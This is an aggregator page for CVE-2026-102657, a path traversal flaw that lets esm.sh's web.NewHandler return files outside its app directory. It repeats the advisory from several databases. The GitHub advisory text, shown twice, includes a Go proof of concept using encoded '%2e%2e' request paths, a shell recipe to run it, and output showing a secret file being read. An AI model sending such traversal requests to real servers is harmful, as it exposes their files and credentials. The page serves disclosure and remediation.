Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

esm.sh: web.NewHandler allows arbitrary file read via encoded dot-segment path traversal

CVSS 3.1 7.5 HIGHEUVD CVSS 3.1 7.5 CVSS 3.1 · [email protected] · Secondary 7.5 HIGHCVSS_V3 Publisher rating HIGHFixed by github.com/esm-dev/esm.sh/web 0.2.0KEV status unknown

cve-program · CVE-2026-102657

Published

esm.sh is a no-build content delivery network (CDN) for web development. Prior to server version 137_7, the documented web.NewHandler static file server in web/handler.go joins the URL-decoded r.URL.Path with Config.AppDir without verifying that the result remains inside the configured application directory. URL-encoded dot segments such as %2e%2e bypass the plain traversal redirect performed by Go's ServeMux, allowing an unauthenticated remote attacker to make the server open and return files outside Config.AppDir that are readable by the server process. The confirmed impact is file disclosure only, and the issue is reachable with Dev disabled. This issue is fixed in server version 137_7.

Read the publisher's advisory

euvd · EUVD-2026-118494

Published

esm.sh is a no-build content delivery network (CDN) for web development. Prior to server version 137_7, the documented web.NewHandler static file server in web/handler.go joins the URL-decoded r.URL.Path with Config.AppDir without verifying that the result remains inside the configured application directory. URL-encoded dot segments such as %2e%2e bypass the plain traversal redirect performed by Go's ServeMux, allowing an unauthenticated remote attacker to make the server open and return files outside Config.AppDir that are readable by the server process. The confirmed impact is file disclosure only, and the issue is reachable with Dev disabled. This issue is fixed in server version 137_7.

Read the publisher's advisory

nvd · CVE-2026-102657

Published

esm.sh is a no-build content delivery network (CDN) for web development. Prior to server version 137_7, the documented web.NewHandler static file server in web/handler.go joins the URL-decoded r.URL.Path with Config.AppDir without verifying that the result remains inside the configured application directory. URL-encoded dot segments such as %2e%2e bypass the plain traversal redirect performed by Go's ServeMux, allowing an unauthenticated remote attacker to make the server open and return files outside Config.AppDir that are readable by the server process. The confirmed impact is file disclosure only, and the issue is reachable with Dev disabled. This issue is fixed in server version 137_7.

Read the publisher's advisory

osv · GHSA-g3c2-rjq2-c763

Published

### Summary The documented `web.NewHandler` static file server can read files outside `Config.AppDir` when the request path contains URL-encoded dot-segments such as `%2e%2e`. Go's `ServeMux` redirects plain `/../` paths, but it passes encoded dot-segments to the handler after decoding `r.URL.Path`. The handler then calls `filepath.Join(s.config.AppDir, r.URL.Path)` without checking that the result remains under `AppDir`, allowing unauthenticated arbitrary file reads with the server process privileges. ### Details `web/README.md:34-40` documents a network-facing setup: ```go http.Handle("GET /", web.NewHandler(web.Config{ AppDir: "/path/to/webapp", Fallback: "/index.html", Dev: false, })) log.Fatal(http.ListenAndServe(":8080", nil)) ``` In `web/handler.go:62-75`, the handler takes `r.URL.Path` and joins it directly with `s.config.AppDir`: ```go pathname := r.URL.Path filename := filepath.Join(s.config.AppDir, pathname) fi, err := os.Lstat(filename) ``` Later the same resolved filename is opened and copied to the response in `web/handler.go:150-166` for non-HTML/static files. There is no `filepath.IsLocal`, cleaned-relative-path, absolute-root prefix, or symlink-aware containment check before opening the file. A plain `/../secret.txt` path is redirected by Go's `ServeMux`, but an encoded path such as `/%2e%2e/secret.txt` is decoded into `r.URL.Path == "/../secret.txt"` and reaches the handler. On Linux, `filepath.Join("/tmp/root/app", "/../secret.txt")` resolves to `/tmp/root/secret.txt`, outside the configured app directory. Source-to-sink chain: ```text Unauthenticated HTTP request path containing URL-encoded dot-segments -> net/http decodes path into r.URL.Path -> documented ServeMux setup passes encoded dot-segment path to web.NewHandler -> web/handler.go joins Config.AppDir with r.URL.Path -> os.Lstat/os.Open operate on the escaped path -> io.Copy returns file contents to the attacker ``` False-positive checks performed: - Plain dot-segment paths are redirected by `http.ServeMux`, but encoded dot-segments are not blocked and reach the handler. - The PoC uses the documented `http.Handle("GET /", web.NewHandler(...))` setup, not a custom bypass of ServeMux. - A control request for `/secret.txt` does not read the outside file; the disclosure requires encoded traversal segments. - The issue is independent of `Dev`/HMR; it reproduces with `Dev: false`. - The root cause appears in other handler paths that join app paths, but the static file read path is sufficient to prove arbitrary file disclosure. Candidate score: 18/18 under the local audit scoring rubric. The handler is documented for network-facing use, the attacker directly controls the request path, the path reaches `os.Open`, file disclosure was reproduced locally, and no root containment mitigation is present. ### PoC This safe local proof creates an application directory and a sibling secret file outside it, registers the handler exactly as documented, and requests the sibling file through encoded `..` path segments. ```go package main import ( "fmt" "net/http" "net/http/httptest" "os" "strings" "github.com/esm-dev/esm.sh/web" ) func main() { mux := http.NewServeMux() mux.Handle("GET /", web.NewHandler(web.Config{AppDir: os.Args[1], Dev: false})) for _, target := range []string{ "http://example/%2e%2e/%2e%2e/%2e%2e/secret.txt", "http://example/secret.txt", } { rr := httptest.NewRecorder() req := httptest.NewRequest("GET", target, nil) mux.ServeHTTP(rr, req) fmt.Printf("%s => status=%d location=%q contains_secret=%v body=%q\n", target, rr.Code, rr.Header().Get("Location"), strings.Contains(rr.Body.String(), "ancestor-secret-marker"), rr.Body.String(), ) } } ``` Maintainer-runnable clean-checkout recipe: ```sh tmp=$(mktemp -d) mkdir -p "$tmp/root/a/b/app" printf 'ancestor-secret-marker' > "$tmp/root/secret.txt" printf '<h1>inside</h1>' > "$tmp/root/a/b/app/index.html" cat > "$tmp/poc.go" <<'EOF' [place the PoC above here] EOF go run "$tmp/poc.go" "$tmp/root/a/b/app" rm -rf "$tmp" ``` Observed vulnerable output in this environment: ```text http://example/%2e%2e/%2e%2e/%2e%2e/secret.txt => status=200 location="" contains_secret=true body="ancestor-secret-marker" http://example/secret.txt => status=200 location="" contains_secret=false body="<h1>inside</h1>" ``` Final re-check after drafting reproduced the same output: ```text http://example/%2e%2e/%2e%2e/%2e%2e/secret.txt => status=200 location="" contains_secret=true body="ancestor-secret-marker" http://example/secret.txt => status=200 location="" contains_secret=false body="<h1>inside</h1>" ``` Additional parser/control evidence observed locally: ```text http://example/../secret.txt => status=307 loc="/secret.txt" handler Path="/../secret.txt" RawPath="/%2e%2e/secret.txt" http://example/%2e%2e/secret.txt => status=204 loc="" http://example/a/../../secret.txt => status=307 loc="/secret.txt" ``` This confirms that the documented `ServeMux` setup redirects plain traversal paths but lets encoded dot-segments reach the handler. ### Impact An unauthenticated remote attacker can read files that are outside the configured web application directory but readable by the server process. Depending on deployment layout and process privileges, this can disclose source files, configuration files, environment-adjacent files, build artifacts, local credentials, private keys, or other application secrets located in ancestor or sibling directories. The impact is limited to file disclosure in the confirmed path. No write primitive or code execution was confirmed in this audit. ### Suggested remediation Normalize request paths into a cleaned relative path before joining them with `AppDir`, and reject any path that is not local. A robust pattern is: - reject paths containing NUL bytes, - use `path.Clean("/" + r.URL.EscapedPath())` or an equivalent URL-path canonicalization step, - trim the leading slash and reject non-local paths with `filepath.IsLocal`, - join only the validated relative path to `AppDir`, - optionally compare absolute cleaned paths to ensure the result remains inside the absolute app root, - consider symlink policy explicitly if symlinks inside `AppDir` should not escape the app root. Add regression tests for `/%2e%2e/secret.txt`, multi-level encoded traversal, plain `/../` behavior, and normal in-app file serving. ### Credits - Thai Son Dinh from VinSOC Labs (R&D)

Read the publisher's advisory

Affected versions, risk and source history

Exploitation and risk

Source status

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

Which CVEs have scores here?

This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

cve-program · CVE-2026-102657

Published

esm.sh: web.NewHandler allows arbitrary file read via encoded dot-segment path traversal

esm.sh is a no-build content delivery network (CDN) for web development. Prior to server version 137_7, the documented web.NewHandler static file server in web/handler.go joins the URL-decoded r.URL.Path with Config.AppDir without verifying that the result remains inside the configured application directory. URL-encoded dot segments such as %2e%2e bypass the plain traversal redirect performed by Go's ServeMux, allowing an unauthenticated remote attacker to make the server open and return files outside Config.AppDir that are readable by the server process. The confirmed impact is file disclosure only, and the issue is reachable with Dev disabled. This issue is fixed in server version 137_7.

Source published
6 Nov 2026 20:49:28 UTC
Source modified
11 Nov 2026 03:30:44 UTC
Saved here
11 Nov 2026 04:25:37 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

euvd · EUVD-2026-118494

Published

esm.sh is a no-build content delivery network (CDN) for web development. Prior to server version 137_7, the documented web.NewHandler static file server in web/handler.go joins the URL-decoded r.URL.Path with Config.AppDir without verifying…

esm.sh is a no-build content delivery network (CDN) for web development. Prior to server version 137_7, the documented web.NewHandler static file server in web/handler.go joins the URL-decoded r.URL.Path with Config.AppDir without verifying that the result remains inside the configured application directory. URL-encoded dot segments such as %2e%2e bypass the plain traversal redirect performed by Go's ServeMux, allowing an unauthenticated remote attacker to make the server open and return files outside Config.AppDir that are readable by the server process. The confirmed impact is file disclosure only, and the issue is reachable with Dev disabled. This issue is fixed in server version 137_7.

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Nov 6, 2026, 8:49:28 PM

dateUpdated: Nov 11, 2026, 3:30:44 AM

Source published
Nov 6, 2026, 8:49:28 PM (timezone not stated)
Source modified
Nov 11, 2026, 3:30:44 AM (timezone not stated)
Saved here
14 Nov 2026 07:03:25 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

nvd · CVE-2026-102657

Published

esm.sh is a no-build content delivery network (CDN) for web development. Prior to server version 137_7, the documented web.NewHandler static file server in web/handler.go joins the URL-decoded r.URL.Path with Config.AppDir without verifying…

esm.sh is a no-build content delivery network (CDN) for web development. Prior to server version 137_7, the documented web.NewHandler static file server in web/handler.go joins the URL-decoded r.URL.Path with Config.AppDir without verifying that the result remains inside the configured application directory. URL-encoded dot segments such as %2e%2e bypass the plain traversal redirect performed by Go's ServeMux, allowing an unauthenticated remote attacker to make the server open and return files outside Config.AppDir that are readable by the server process. The confirmed impact is file disclosure only, and the issue is reachable with Dev disabled. This issue is fixed in server version 137_7.

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-22

Original publisher date fields

published: 2026-11-06T21:17:05.863

lastModified: 2026-11-11T05:19:15.243

Source published
6 Nov 2026 21:17:05 UTC
Source modified
11 Nov 2026 05:19:15 UTC
Saved here
11 Nov 2026 23:56:51 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

osv · GHSA-g3c2-rjq2-c763

Published

esm.sh: web.NewHandler allows arbitrary file read via encoded dot-segment path traversal

### Summary The documented `web.NewHandler` static file server can read files outside `Config.AppDir` when the request path contains URL-encoded dot-segments such as `%2e%2e`. Go's `ServeMux` redirects plain `/../` paths, but it passes encoded dot-segments to the handler after decoding `r.URL.Path`. The handler then calls `filepath.Join(s.config.AppDir, r.URL.Path)` without checking that the result remains under `AppDir`, allowing unauthenticated arbitrary file reads with the server process privileges. ### Details `web/README.md:34-40` documents a network-facing setup: ```go http.Handle("GET /", web.NewHandler(web.Config{ AppDir: "/path/to/webapp", Fallback: "/index.html", Dev: false, })) log.Fatal(http.ListenAndServe(":8080", nil)) ``` In `web/handler.go:62-75`, the handler takes `r.URL.Path` and joins it directly with `s.config.AppDir`: ```go pathname := r.URL.Path filename := filepath.Join(s.config.AppDir, pathname) fi, err := os.Lstat(filename) ``` Later the same resolved filename is opened and copied to the response in `web/handler.go:150-166` for non-HTML/static files. There is no `filepath.IsLocal`, cleaned-relative-path, absolute-root prefix, or symlink-aware containment check before opening the file. A plain `/../secret.txt` path is redirected by Go's `ServeMux`, but an encoded path such as `/%2e%2e/secret.txt` is decoded into `r.URL.Path == "/../secret.txt"` and reaches the handler. On Linux, `filepath.Join("/tmp/root/app", "/../secret.txt")` resolves to `/tmp/root/secret.txt`, outside the configured app directory. Source-to-sink chain: ```text Unauthenticated HTTP request path containing URL-encoded dot-segments -> net/http decodes path into r.URL.Path -> documented ServeMux setup passes encoded dot-segment path to web.NewHandler -> web/handler.go joins Config.AppDir with r.URL.Path -> os.Lstat/os.Open operate on the escaped path -> io.Copy returns file contents to the attacker ``` False-positive checks performed: - Plain dot-segment paths are redirected by `http.ServeMux`, but encoded dot-segments are not blocked and reach the handler. - The PoC uses the documented `http.Handle("GET /", web.NewHandler(...))` setup, not a custom bypass of ServeMux. - A control request for `/secret.txt` does not read the outside file; the disclosure requires encoded traversal segments. - The issue is independent of `Dev`/HMR; it reproduces with `Dev: false`. - The root cause appears in other handler paths that join app paths, but the static file read path is sufficient to prove arbitrary file disclosure. Candidate score: 18/18 under the local audit scoring rubric. The handler is documented for network-facing use, the attacker directly controls the request path, the path reaches `os.Open`, file disclosure was reproduced locally, and no root containment mitigation is present. ### PoC This safe local proof creates an application directory and a sibling secret file outside it, registers the handler exactly as documented, and requests the sibling file through encoded `..` path segments. ```go package main import ( "fmt" "net/http" "net/http/httptest" "os" "strings" "github.com/esm-dev/esm.sh/web" ) func main() { mux := http.NewServeMux() mux.Handle("GET /", web.NewHandler(web.Config{AppDir: os.Args[1], Dev: false})) for _, target := range []string{ "http://example/%2e%2e/%2e%2e/%2e%2e/secret.txt", "http://example/secret.txt", } { rr := httptest.NewRecorder() req := httptest.NewRequest("GET", target, nil) mux.ServeHTTP(rr, req) fmt.Printf("%s => status=%d location=%q contains_secret=%v body=%q\n", target, rr.Code, rr.Header().Get("Location"), strings.Contains(rr.Body.String(), "ancestor-secret-marker"), rr.Body.String(), ) } } ``` Maintainer-runnable clean-checkout recipe: ```sh tmp=$(mktemp -d) mkdir -p "$tmp/root/a/b/app" printf 'ancestor-secret-marker' > "$tmp/root/secret.txt" printf '<h1>inside</h1>' > "$tmp/root/a/b/app/index.html" cat > "$tmp/poc.go" <<'EOF' [place the PoC above here] EOF go run "$tmp/poc.go" "$tmp/root/a/b/app" rm -rf "$tmp" ``` Observed vulnerable output in this environment: ```text http://example/%2e%2e/%2e%2e/%2e%2e/secret.txt => status=200 location="" contains_secret=true body="ancestor-secret-marker" http://example/secret.txt => status=200 location="" contains_secret=false body="<h1>inside</h1>" ``` Final re-check after drafting reproduced the same output: ```text http://example/%2e%2e/%2e%2e/%2e%2e/secret.txt => status=200 location="" contains_secret=true body="ancestor-secret-marker" http://example/secret.txt => status=200 location="" contains_secret=false body="<h1>inside</h1>" ``` Additional parser/control evidence observed locally: ```text http://example/../secret.txt => status=307 loc="/secret.txt" handler Path="/../secret.txt" RawPath="/%2e%2e/secret.txt" http://example/%2e%2e/secret.txt => status=204 loc="" http://example/a/../../secret.txt => status=307 loc="/secret.txt" ``` This confirms that the documented `ServeMux` setup redirects plain traversal paths but lets encoded dot-segments reach the handler. ### Impact An unauthenticated remote attacker can read files that are outside the configured web application directory but readable by the server process. Depending on deployment layout and process privileges, this can disclose source files, configuration files, environment-adjacent files, build artifacts, local credentials, private keys, or other application secrets located in ancestor or sibling directories. The impact is limited to file disclosure in the confirmed path. No write primitive or code execution was confirmed in this audit. ### Suggested remediation Normalize request paths into a cleaned relative path before joining them with `AppDir`, and reject any path that is not local. A robust pattern is: - reject paths containing NUL bytes, - use `path.Clean("/" + r.URL.EscapedPath())` or an equivalent URL-path canonicalization step, - trim the leading slash and reject non-local paths with `filepath.IsLocal`, - join only the validated relative path to `AppDir`, - optionally compare absolute cleaned paths to ensure the result remains inside the absolute app root, - consider symlink policy explicitly if symlinks inside `AppDir` should not escape the app root. Add regression tests for `/%2e%2e/secret.txt`, multi-level encoded traversal, plain `/../` behavior, and normal in-app file serving. ### Credits - Thai Son Dinh from VinSOC Labs (R&D)

Source published
9 Nov 2026 22:03:29 UTC
Source modified
9 Nov 2026 22:15:03 UTC
Saved here
9 Nov 2026 23:04:27 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Publisher rating · HIGH

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 16 Nov 06:51 UTC · 274 of 275 readable · 270 fully read · documentation 469/469 current